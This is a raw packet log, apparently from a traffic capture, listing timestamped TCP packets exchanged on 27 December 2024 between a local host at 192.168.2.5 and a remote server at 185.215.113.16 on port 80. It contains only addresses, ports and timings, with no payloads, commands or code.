Dec 27, 2024 15:09:17.625757933 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.625811100 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.626565933 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.626681089 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.627155066 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.627542019 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.627607107 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.627650976 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.628326893 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.628583908 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.628642082 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.629410028 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.629460096 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.629569054 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.630232096 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.630397081 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.630444050 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.631124973 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.631237984 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.631288052 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.632201910 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.632288933 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.632433891 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.633193016 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.633280993 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.633430004 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.634274006 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.634327888 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.634907007 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.635262012 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.635364056 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.635984898 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.636423111 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.636543989 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.637356997 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.637404919 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.638107061 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.638107061 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.638300896 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.638394117 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.639328003 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.639339924 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.639426947 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.639624119 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.640422106 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.640547991 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.641371965 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.641468048 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.641849041 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.641849041 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.642417908 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.642493963 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.642911911 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.643443108 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.643568039 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.643975019 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.644428015 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.644543886 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.644620895 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.645441055 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.645498037 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.645586967 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.646521091 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.646622896 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.646713018 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.647506952 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.647622108 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.647706032 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.648605108 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.648706913 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.648868084 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.649646997 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.649724960 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.649796963 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.650607109 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.650695086 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.650742054 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.651611090 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.651721001 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.651823044 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.652647018 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.652738094 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.652827024 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.652998924 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.655790091 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.655802965 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.655813932 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.655822992 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.655833006 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.655895948 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.655895948 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.655936003 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.655998945 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.657088995 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.657260895 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.657357931 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.658102989 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.658114910 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.658268929 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.658935070 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.659102917 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.659157038 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.659939051 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.660101891 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.660188913 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.660916090 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.661079884 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.661143064 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.661933899 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.662102938 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.662185907 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.662966967 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.663011074 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.663041115 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.663908005 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.664001942 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.664071083 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.664962053 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.665093899 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.665194035 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.665946960 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.666060925 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.666110992 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.666955948 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.667052984 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.667115927 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.667705059 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.668020964 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.668117046 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.669023991 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.669111013 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.669158936 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.669212103 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.670048952 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.670173883 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.670641899 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.671045065 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.671156883 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.671261072 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.672060966 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.672167063 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.672300100 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.673151970 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.673208952 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.673268080 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.674093962 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.728974104 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.799674988 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.812429905 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.812506914 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.812555075 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.812892914 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.813008070 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.813169956 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.813937902 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.814066887 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.814155102 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.814994097 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.815123081 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.816088915 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.816171885 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.816185951 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.816222906 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.817006111 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.817121029 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.818026066 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.818101883 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.818131924 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.819072008 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.819143057 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.819158077 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.819212914 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.820075035 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.820178032 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.821042061 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.821149111 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.821213961 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.821254015 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.824486017 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.824496984 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.824508905 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.824518919 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.824531078 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.824542046 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.824568987 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.824615002 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.825884104 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.826011896 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.826098919 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.826822042 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.826968908 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.827033997 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.827883005 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.827893972 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.827944040 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.828528881 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.828700066 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.828739882 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.829714060 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.829725027 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.829778910 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.830677986 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.830861092 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.830984116 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.831701040 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.832011938 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.832056046 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.832688093 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.832699060 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.832735062 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.833686113 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.833862066 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.833908081 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.834892988 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.835062981 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.835127115 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.835900068 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.835911989 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.835971117 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.836994886 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.837007046 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.837074041 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.837966919 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.837977886 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.838049889 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.838958979 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.838969946 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.839034081 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.840003014 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.840014935 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.840078115 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.840794086 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.840950966 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.841016054 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.841897011 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.842053890 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.842114925 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.843050957 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.843063116 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.843147039 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.844029903 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.844042063 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.844134092 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.845026970 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.845037937 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.845108986 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.846051931 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.846227884 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.846364975 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.847047091 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.847337008 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.847397089 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.848109007 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.848259926 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.848330021 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.849191904 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.849333048 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.849451065 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.850111961 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.850270033 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.850313902 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.851250887 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.851382971 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.851531982 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.852195978 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.852364063 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.853157997 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.853243113 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.853316069 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.853410959 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.854104996 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.854269981 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.854372978 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.855334044 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.855484962 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.855539083 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.856286049 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.856447935 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.856584072 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.857384920 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.857553959 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.857603073 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.858375072 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.858386040 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.858486891 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.858962059 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.859060049 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.859153032 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.860004902 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.860153913 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.860296011 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.861008883 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.861123085 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.861320019 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.862030029 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.862132072 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.862212896 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.863151073 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.863241911 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.863404989 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.864087105 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.864173889 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.864268064 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.865113020 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.865227938 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.865355015 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.866136074 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:17.883563995 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:17.914841890 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.005223989 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.005249977 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.005265951 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.005281925 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.005373955 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.005393982 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.006158113 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.006294966 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.006381989 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.007191896 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.007281065 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.007335901 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.008310080 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.008337021 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.008407116 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.009239912 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.009354115 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.010176897 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.010305882 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.010435104 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.011272907 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.011328936 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.011368990 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.011420012 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.012290955 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.012398005 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.012506962 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.013298035 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.013401985 CET	80	49718	185.215.113.16	192.168.2.5
Dec 27, 2024 15:09:18.013530970 CET	49718	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:09:18.014405012 CET	80	49718	185.215.113.16	192.168.2.5
